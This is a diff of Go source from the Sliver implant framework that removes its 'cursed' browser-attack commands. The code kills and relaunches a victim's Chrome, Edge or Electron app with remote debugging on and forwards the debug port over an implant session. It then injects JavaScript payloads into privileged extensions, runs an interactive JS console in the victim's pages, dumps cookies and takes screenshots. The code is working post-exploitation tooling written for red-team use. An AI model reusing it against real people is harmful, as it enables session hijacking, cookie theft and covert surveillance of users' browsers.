// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
// defer cancel()
_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Printf("success!\n")
} else {
con.Printf("failure!\n")
con.PrintInfof("No viable Chrome extensions were found ☹️\n")
}
}
func avadaKedavraChrome(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
chromeProcess, err := getChromeProcess(session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if chromeProcess != nil {
con.PrintWarnf("Found running Chrome process: %d (ppid: %d)\n", chromeProcess.GetPid(), chromeProcess.GetPpid())
con.PrintWarnf("Sliver will need to kill and restart the Chrome process in order to perform code injection.\n")
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
con.Printf("\n")
confirm := false
err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Chrome process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if !confirm {
con.PrintErrorf("User cancel\n")
return nil
}
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(ctx),
Pid: chromeProcess.GetPid(),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
return nil
}
}
curse, err := startCursedChromeProcess(false, session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
return curse
}
func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
name := "Chrome"
if isEdge {
name = "Edge"
}
con.PrintInfof("Finding %s executable path ... ", name)
chromeExePath, err := findChromeExecutablePath(isEdge, session, ctx, con)
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("success!\n")
con.PrintInfof("Finding %s user data directory ... ", name)
chromeUserDataDir, err := findChromeUserDataDir(isEdge, session, ctx, con)
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("success!\n")
con.PrintInfof("Starting %s process ... ", name)
debugPort := getRemoteDebuggerPort(ctx)
args := []string{
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
}
if chromeUserDataDir != "" {
args = append(args, fmt.Sprintf("--user-data-dir=%s", chromeUserDataDir))
}
if ctx.Flags.Bool("restore") {
args = append(args, "--restore-last-session")
}
if ctx.Flags.Bool("keep-alive") {
args = append(args, "--keep-alive-for-test")
}
if ctx.Flags.Bool("headless") {
args = append(args, "--headless")
}
additionalArgs := ctx.Args.StringList("args")
if len(additionalArgs) > 0 {
args = append(args, additionalArgs...)
}
// Execute the Chrome process with the extra flags
// TODO: PPID spoofing, etc.
chromeExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Request: con.ActiveTarget.Request(ctx),
Path: chromeExePath,
Args: args,
Output: false,
})
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("(pid: %d) success!\n", chromeExec.GetPid())
con.PrintInfof("Waiting for %s process to initialize ... ", name)
time.Sleep(2 * time.Second)
bindPort := insecureRand.Intn(10000) + 40000
bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
tcpProxy := &tcpproxy.Proxy{}
channelProxy := &core.ChannelProxy{
Rpc: con.Rpc,
Session: session,
RemoteAddr: remoteAddr,
BindAddr: bindAddr,
KeepAlivePeriod: 60 * time.Second,
DialTimeout: 30 * time.Second,
}
tcpProxy.AddRoute(bindAddr, channelProxy)
portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
curse := &core.CursedProcess{
SessionID: session.ID,
PID: chromeExec.GetPid(),
PortFwd: portFwd,
BindTCPPort: bindPort,
Platform: session.GetOS(),
ExePath: chromeExePath,
ChromeUserDataDir: chromeUserDataDir,
}
core.CursedProcesses.Store(bindPort, curse)
go func() {
err := tcpProxy.Run()
if err != nil {
log.Printf("Proxy error %s", err)
}
core.CursedProcesses.Delete(bindPort)
}()
con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
return curse, nil
}
func findChromeUserDataDir(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
userDataFlag := ctx.Flags.String("user-data")
if userDataFlag != "" {
return userDataFlag, nil
}
switch session.GetOS() {
case "windows":
username := session.GetUsername()
if strings.Contains(username, "\\") {
username = strings.Split(username, "\\")[1]
}
for _, driveLetter := range windowsDriveLetters {
userDataDir := fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data", driveLetter, username)
if isEdge {
userDataDir = fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data", driveLetter, username)
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: userDataDir,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return userDataDir, nil
}
}
return "", ErrUserDataDirNotFound
case "darwin":
userDataDir := fmt.Sprintf("/Users/%s/Library/Application Support/Google/Chrome", session.Username)
if isEdge {
userDataDir = fmt.Sprintf("/Users/%s/Library/Application Support/Microsoft Edge", session.Username)
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: userDataDir,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return userDataDir, nil
}
return "", ErrUserDataDirNotFound
default:
return "", ErrUnsupportedOS
}
}
func findChromeExecutablePath(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
exeFlag := ctx.Flags.String("exe")
if exeFlag != "" {
return exeFlag, nil
}
switch session.GetOS() {
case "windows":
chromeWindowsPaths := []string{
"[DRIVE]:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe",
"[DRIVE]:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Google\\Chrome\\Application\\chrome.exe",
"[DRIVE]:\\Program Files (x86)\\Google\\Application\\chrome.exe",
}
if isEdge {
chromeWindowsPaths = []string{
"[DRIVE]:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
"[DRIVE]:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe",
"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Microsoft\\Edge\\Application\\msedge.exe",
}
}
username := session.GetUsername()
if strings.Contains(username, "\\") {
username = strings.Split(username, "\\")[1]
}
for _, driveLetter := range windowsDriveLetters {
for _, chromePath := range chromeWindowsPaths {
chromeExecutablePath := strings.ReplaceAll(chromePath, "[DRIVE]", driveLetter)
chromeExecutablePath = strings.ReplaceAll(chromeExecutablePath, "[USERNAME]", username)
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: chromeExecutablePath,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return chromeExecutablePath, nil
}
}
}
return "", ErrChromeExecutableNotFound
case "darwin":
// AFAIK Chrome only installs to this path on macOS
defaultChromePath := "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"
if isEdge {
defaultChromePath = "/Applications/Microsoft Edge.app/Contents/MacOS/Microsoft Edge"
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: defaultChromePath,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return defaultChromePath, nil
}
return "", ErrChromeExecutableNotFound
case "linux":
chromeLinuxPaths := []string{
"/usr/bin/google-chrome",
"/usr/bin/chromium-browser",
"/usr/local/bin/google-chrome",
"/usr/local/bin/chromium-browser",
}
if isEdge {
chromeLinuxPaths = []string{
"/usr/bin/microsoft-edge",
"/usr/local/bin/microsoft-edge",
}
}
for _, chromePath := range chromeLinuxPaths {
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: chromePath,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return chromePath, nil
}
}
return "", ErrChromeExecutableNotFound
default:
return "", ErrUnsupportedOS
}
}
func isChromeProcess(executable string) bool {
var chromeProcessNames = []string{
"chrome", // Linux
"google-chrome", // Linux
"chromium-browser", // Linux
"chrome.exe", // Windows
"Google Chrome", // Darwin
}
for _, suffix := range chromeProcessNames {
if strings.HasSuffix(executable, suffix) {
return true
}
}
return false
}
func getChromeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return nil, err
}
for _, process := range ps.Processes {
if process.GetOwner() != session.GetUsername() {
continue
}
if isChromeProcess(process.GetExecutable()) {
return process, nil
}
}
return nil, nil
}
-183
View File
@@ -1,183 +0,0 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"fmt"
"io"
"io/ioutil"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord"
"github.com/desertbit/grumble"
"github.com/desertbit/readline"
)
func CursedConsoleCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
curse := selectCursedProcess(con)
if curse == nil {
return
}
con.Println()
con.PrintInfof("Querying debug targets ... ")
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
con.Printf(console.Clearln + "\r")
if err != nil {
con.PrintErrorf("Failed to query debug targets: %s\n", err)
return
}
target := selectDebugTarget(targets, con)
if target == nil {
return
}
con.PrintInfof("Connecting to '%s', use 'exit' to return ... \n\n", target.Title)
startCursedConsole(curse, true, target, con)
}
func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverConsoleClient) *overlord.ChromeDebugTarget {
if len(targets) < 1 {
con.PrintErrorf("No debug targets\n")
return nil
}
id2target := map[string]overlord.ChromeDebugTarget{}
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
for _, target := range targets {
fmt.Fprintf(table, "%s\t%s\t%s\n", target.ID, target.Title, target.URL)
id2target[target.ID] = target
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a debug target:",
Options: options,
}
selected := ""
err := survey.AskOne(prompt, &selected)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if selected == "" {
return nil
}
selectedID := strings.Split(selected, " ")[0]
selectedTarget := id2target[selectedID]
return &selectedTarget
}
var (
helperHooks = []string{
"console.log = (...a) => {return a;}", // console.log
}
)
func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) {
tmpFile, _ := ioutil.TempFile("", "cursed")
reader, err := readline.NewEx(&readline.Config{
Prompt: "\033[31mcursed »\033[0m ",
HistoryFile: tmpFile.Name(),
// AutoComplete: nil,
InterruptPrompt: "^C",
EOFPrompt: "exit",
HistorySearchFold: true,
// FuncFilterInputRune: filterInput,
})
if err != nil {
con.PrintErrorf("Failed to create read line: %s\n", err)
return
}
if helpers {
// Execute helper hooks
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
for _, hook := range helperHooks {
_, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, hook)
if err != nil {
con.PrintErrorf("%s\n", err)
}
}
}
con.Printf(console.Bold+">>> Cursed Console, use ':help' for options%s\n\n", console.Normal)
for {
line, err := reader.Readline()
if err == readline.ErrInterrupt {
if len(line) == 0 {
break
} else {
continue
}
} else if err == io.EOF {
break
}
switch strings.TrimSpace(line) {
case ":help":
con.Println()
con.Println("Available commands:")
con.Println(" :file - Execute local .js file")
con.Println(" :help - Show this help")
con.Println(" :exit - Exit the console")
con.Println()
case ":file":
jsCode, err := ioutil.ReadFile(line)
if err != nil {
con.PrintErrorf("%s\n", err)
continue
}
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, string(jsCode))
if err != nil {
con.PrintErrorf("%s\n", err)
continue
}
con.Println()
if 0 < len(result) {
con.Printf("%s\n", result)
con.Println()
}
case ":exit":
fallthrough
case "exit":
return
default:
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, line)
if err != nil {
con.PrintErrorf("%s\n", err)
}
con.Println()
if 0 < len(result) {
con.Printf("%s\n", result)
con.Println()
}
}
}
}
-69
View File
@@ -1,69 +0,0 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"io/ioutil"
"strings"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/overlord"
"github.com/desertbit/grumble"
)
func CursedCookiesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
curse := selectCursedProcess(con)
if curse == nil {
return
}
con.Println()
cookies, err := overlord.DumpCookies(curse, curse.DebugURL().String())
if err != nil {
con.PrintErrorf("Failed to dump cookies: %s\n", err)
return
}
con.PrintInfof("Successfully dumped %d cookies\n", len(cookies))
if len(cookies) == 0 {
return
}
saveFile := ctx.Flags.String("save")
if saveFile == "" {
saveFile = fmt.Sprintf("cookies-%s.json", time.Now().Format("20060102150405"))
}
jsonCookies := []string{}
for _, cookie := range cookies {
jsonCookie, err := cookie.MarshalJSON()
if err != nil {
con.PrintErrorf("Failed to marshal cookie: %s\n", err)
continue
}
jsonCookies = append(jsonCookies, string(jsonCookie))
}
err = ioutil.WriteFile(saveFile, []byte(strings.Join(jsonCookies, "\n")), 0600)
if err != nil {
con.PrintErrorf("Failed to save cookies: %s\n", err)
return
}
con.PrintInfof("Saved to %s", saveFile)
con.Println()
}
-170
View File
@@ -1,170 +0,0 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"io/ioutil"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// CursedChromeCmd - Execute a .NET assembly in-memory
func CursedEdgeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
payloadPath := ctx.Flags.String("payload")
var payload []byte
var err error
if payloadPath != "" {
payload, err = ioutil.ReadFile(payloadPath)
if err != nil {
con.PrintErrorf("Could not read payload file: %s\n", err)
return
}
}
curse := avadaKedavraEdge(session, ctx, con)
if curse == nil {
return
}
if payloadPath == "" {
con.PrintWarnf("No Cursed Edge payload was specified, skipping payload injection.\n")
return
}
con.PrintInfof("Searching for Edge extension with all permissions ... ")
chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// There is one alternative set of permissions that we can use if we don't find an extension
// with all the proper permissions.
if chromeExt == nil {
chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if chromeExt != nil {
con.Printf("success!\n")
con.PrintInfof("Found viable Edge extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
con.PrintInfof("Injecting payload ... ")
ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
// defer cancel()
_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Printf("success!\n")
} else {
con.Printf("failure!\n")
con.PrintInfof("No viable Edge extensions were found ☹️\n")
}
}
func avadaKedavraEdge(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
edgeProcess, err := getEdgeProcess(session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if edgeProcess != nil {
con.PrintWarnf("Found running Edge process: %d (ppid: %d)\n", edgeProcess.GetPid(), edgeProcess.GetPpid())
con.PrintWarnf("Sliver will need to kill and restart the Edge process in order to perform code injection.\n")
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
con.Printf("\n")
confirm := false
err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Edge process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if !confirm {
con.PrintErrorf("User cancel\n")
return nil
}
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(ctx),
Pid: edgeProcess.GetPid(),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
return nil
}
}
curse, err := startCursedChromeProcess(true, session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
return curse
}
func isEdgeProcess(executable string) bool {
var edgeProcessNames = []string{
"msedge", // Linux
"microsoft-edge", // Linux
"msedge.exe", // Windows
"Microsoft Edge", // Darwin
}
for _, suffix := range edgeProcessNames {
if strings.HasSuffix(executable, suffix) {
return true
}
}
return false
}
func getEdgeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return nil, err
}
for _, process := range ps.Processes {
if process.GetOwner() != session.GetUsername() {
continue
}
if isEdgeProcess(process.GetExecutable()) {
return process, nil
}
}
return nil, nil
}
-233
View File
@@ -1,233 +0,0 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"log"
insecureRand "math/rand"
"path"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord"
"github.com/bishopfox/sliver/client/tcpproxy"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
func CursedElectronCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
electronExe := ctx.Flags.String("exe")
if electronExe == "" {
con.PrintErrorf("Missing --exe flag, see --help\n")
return
}
curse := avadaKedavraElectron(electronExe, session, ctx, con)
if curse == nil {
return
}
con.PrintInfof("Checking for debug targets ...")
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
con.Printf(console.Clearln + "\r")
if err != nil {
con.PrintErrorf("Failed to query debug targets: %s\n", err)
return
}
if len(targets) == 0 {
con.PrintErrorf("Zero debug targets found\n")
return
}
con.PrintInfof("Found %d debug targets, good hunting!\n", len(targets))
}
func avadaKedavraElectron(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
exists, err := checkElectronPath(electronExe, session, ctx, con)
if err != nil {
con.PrintErrorf("%s", err)
return nil
}
if !exists {
con.PrintErrorf("Executable path does not exist: %s", electronExe)
return nil
}
electronProcess, err := checkElectronProcess(electronExe, session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if electronProcess != nil {
con.PrintWarnf("Found running '%s' process: %d (ppid: %d)\n", path.Base(electronExe), electronProcess.GetPid(), electronProcess.GetPpid())
con.PrintWarnf("Sliver will need to kill and restart the process in order to perform code injection.\n")
con.PrintWarnf("%sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
con.Printf("\n")
confirm := false
err = survey.AskOne(&survey.Confirm{Message: "Kill and restart the process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if !confirm {
con.PrintErrorf("User cancel\n")
return nil
}
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(ctx),
Pid: electronProcess.Pid,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
return nil
}
}
curse, err := startCursedElectronProcess(electronExe, session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
return curse
}
func checkElectronPath(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (bool, error) {
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: electronExe,
})
if err != nil {
return false, err
}
return ls.GetExists(), nil
}
func checkElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return nil, err
}
for _, process := range ps.Processes {
if process.GetOwner() != session.GetUsername() {
continue
}
if process.GetExecutable() == electronExe || path.Base(process.GetExecutable()) == path.Base(electronExe) {
return process, nil
}
}
return nil, nil
}
func startCursedElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
con.PrintInfof("Starting '%s' ... ", path.Base(electronExe))
debugPort := getRemoteDebuggerPort(ctx)
args := []string{
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
}
additionalArgs := ctx.Args.StringList("args")
if len(additionalArgs) > 0 {
args = append(args, additionalArgs...)
}
// Execute the Chrome process with the extra flags
// TODO: PPID spoofing, etc.
electronExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Request: con.ActiveTarget.Request(ctx),
Path: electronExe,
Args: args,
Output: false,
})
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("(pid: %d) success!\n", electronExec.GetPid())
con.PrintInfof("Waiting for process to initialize ... ")
time.Sleep(2 * time.Second)
bindPort := insecureRand.Intn(10000) + 40000
bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
tcpProxy := &tcpproxy.Proxy{}
channelProxy := &core.ChannelProxy{
Rpc: con.Rpc,
Session: session,
RemoteAddr: remoteAddr,
BindAddr: bindAddr,
KeepAlivePeriod: 60 * time.Second,
DialTimeout: 30 * time.Second,
}
tcpProxy.AddRoute(bindAddr, channelProxy)
portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
curse := &core.CursedProcess{
SessionID: session.ID,
PID: electronExec.GetPid(),
PortFwd: portFwd,
BindTCPPort: bindPort,
Platform: session.GetOS(),
ExePath: electronExe,
}
core.CursedProcesses.Store(bindPort, curse)
go func() {
err := tcpProxy.Run()
if err != nil {
log.Printf("Proxy error %s", err)
}
core.CursedProcesses.Delete(bindPort)
}()
con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
return curse, nil
}
func getElectronProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return nil, err
}
for _, process := range ps.Processes {
if process.GetOwner() != session.GetUsername() {
continue
}
if isChromeProcess(process.GetExecutable()) {
return process, nil
}
}
return nil, nil
}
-75
View File
@@ -1,75 +0,0 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
func CursedRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
kill := ctx.Flags.Bool("kill")
bindPort := ctx.Args.Int("bind-port")
core.CloseCursedProcessesByBindPort(session.ID, bindPort)
if kill {
confirm := false
err := survey.AskOne(&survey.Confirm{Message: "Kill the cursed process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s", err)
return
}
if !confirm {
con.PrintErrorf("User cancel\n")
return
}
// Get cursed process
var cursedProc *core.CursedProcess
curses := core.CursedProcessBySessionID(session.ID)
for _, curse := range curses {
if curse.BindTCPPort == bindPort {
cursedProc = curse
}
}
if cursedProc == nil {
con.PrintErrorf("Failed to find cursed process\n")
return
}
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(ctx),
Pid: int32(cursedProc.PID),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
return
}
}
}
@@ -1,69 +0,0 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"io/ioutil"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/overlord"
"github.com/desertbit/grumble"
)
func CursedScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
curse := selectCursedProcess(con)
if curse == nil {
return
}
con.Println()
con.PrintInfof("Querying debug targets ... ")
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
con.Printf(console.Clearln + "\r")
if err != nil {
con.PrintErrorf("Failed to query debug targets: %s\n", err)
return
}
target := selectDebugTarget(targets, con)
if target == nil {
return
}
con.PrintInfof("Taking a screenshot of '%s' ... \n\n", target.Title)
quality := ctx.Flags.Int64("quality")
if quality < 1 || quality > 100 {
con.PrintErrorf("Invalid quality value, must be between 1 and 100\n")
return
}
data, err := overlord.Screenshot(curse, target.WebSocketDebuggerURL, target.ID, quality)
if err != nil {
con.PrintErrorf("Failed to take screenshot: %s\n", err)
return
}
saveFile := ctx.Flags.String("save")
if saveFile == "" {
saveFile = fmt.Sprintf("screenshot-%s.png", time.Now().Format("20060102150405"))
}
err = ioutil.WriteFile(saveFile, data, 0644)
if err != nil {
con.PrintErrorf("Failed to save screenshot: %s\n", err)
return
}
con.PrintInfof("Screenshot saved to %s\n", saveFile)
}
-121
View File
@@ -1,121 +0,0 @@
package cursed
/*
Sliver Implant Framework
